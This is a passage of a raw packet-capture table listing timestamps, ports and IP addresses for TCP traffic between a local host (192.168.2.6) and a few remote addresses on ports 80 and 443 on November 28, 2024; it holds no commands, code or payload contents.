Nov 28, 2024 00:19:19.314743996 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.314768076 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:19.314802885 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.315151930 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.315165043 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:19.315196991 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.315208912 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:19.315340042 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.315350056 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:19.384031057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.384109020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.384160042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.384205103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.386387110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.386432886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.386447906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.386490107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.391525030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.391570091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.391581059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.391623974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.400197029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.400249958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.400474072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.400532007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.408816099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.408860922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.408905029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.408942938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.417496920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.417546988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.417730093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.417798996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.426176071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.426223040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.509238958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.509299994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.509491920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.509536028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.513612986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.513662100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.513684988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.513725042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.522320032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.522371054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.522502899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.522552013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.530961990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.531008959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.531049013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.531085968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.539633036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.539643049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.539679050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.539695024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.585237026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.585270882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.585287094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.585314035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.589476109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.589520931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.591017962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.591064930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.591109037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.591149092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.599788904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.599834919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.599837065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.599873066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.608464003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.608514071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.608540058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.608577013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.617074966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.617127895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.617264986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.617306948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.625752926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.625817060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.625830889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.625870943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.634336948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.634396076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.636976004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.637022018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.637027025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.637100935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.642139912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.642185926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.642201900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.642240047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.650769949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.650823116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.650866032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.650909901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.659452915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.659513950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.659563065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.659605980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.665590048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.665618896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.665647984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.665664911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.680154085 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.680181026 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.680211067 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.680274010 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.680298090 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.680311918 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.680349112 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.710551023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.710601091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.710612059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.710645914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.713454008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.713510036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.713649988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.713717937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.719260931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.719305992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.719351053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.719394922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.725069046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.725123882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.725167990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.725208044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.730976105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.731029987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.731055975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.731097937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.736721992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.736771107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.736805916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.736843109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.742502928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.742547035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.742559910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.742599964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.748275995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.748327017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.748471022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.748513937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.754046917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.754097939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.754097939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.754149914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.786494970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.786546946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.786643028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.786676884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.788362026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.788410902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.788471937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.788517952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.792037010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.792078972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.793329000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.793376923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.793452024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.793512106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.796999931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.797044039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.797207117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.797244072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.800673008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.800726891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.800825119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.800867081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.804296970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.804341078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.804511070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.804553986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.807964087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.808007956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.808022022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.808062077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.811367989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.811415911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.811563969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.811608076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.815022945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.815068960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.815139055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.815179110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.818646908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.818705082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.818717003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.818754911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.822652102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.822712898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.822767973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.822812080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.836273909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.836323023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.836333036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.836370945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.838066101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.838113070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.838167906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.838213921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.841681004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.841732979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.841871023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.841929913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.845361948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.845406055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.845443964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.845480919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.848881006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.848931074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.849014044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.849054098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.852431059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.852480888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.869066000 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.869092941 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.869154930 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.869168043 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.869182110 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.869221926 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.914463043 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.914489031 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.914541006 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.914555073 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.914587021 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.914625883 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.948854923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.948908091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.948913097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.948957920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.950181961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.950228930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.950285912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.950328112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.952908039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.952955008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.953041077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.953119040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.955656052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.955709934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.955744028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.955786943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.958327055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.958378077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.958441973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.958484888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.961056948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.961121082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.961251974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.961306095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.963673115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.963722944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.963757038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.963800907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.966334105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.966379881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.966387987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.966439962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.969073057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.969086885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.969129086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.971061945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.971117020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.971129894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.971160889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.973143101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.973191023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.973202944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.973242044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.975119114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.975162983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.975251913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.975303888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.977109909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.977154970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.977231026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.977277994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.979139090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.979183912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.979217052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.979259968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.987819910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.987875938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.987993002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.988040924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.988893032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.988941908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.989144087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.989188910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.990803003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.990849018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.991096020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.991144896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.992779970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.992830992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.992948055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.992995977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.994793892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.994843006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.994899988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.994937897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.996754885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.996803045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.996889114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.996936083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.998780966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.998828888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.998831987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.998872995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.000720978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.000775099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.000861883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.000915051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.002696037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.002829075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.002851963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.002901077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.004713058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.004726887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.004760981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.004776001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.006650925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.006711006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.006717920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.006764889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.008649111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.008703947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.008766890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.008815050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.010699987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.010749102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.010752916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.010797024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.012702942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.012746096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.012753010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.012789011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.014638901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.014688969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.014853954 CET	80	49714	185.215.113.206	192.168.2.6
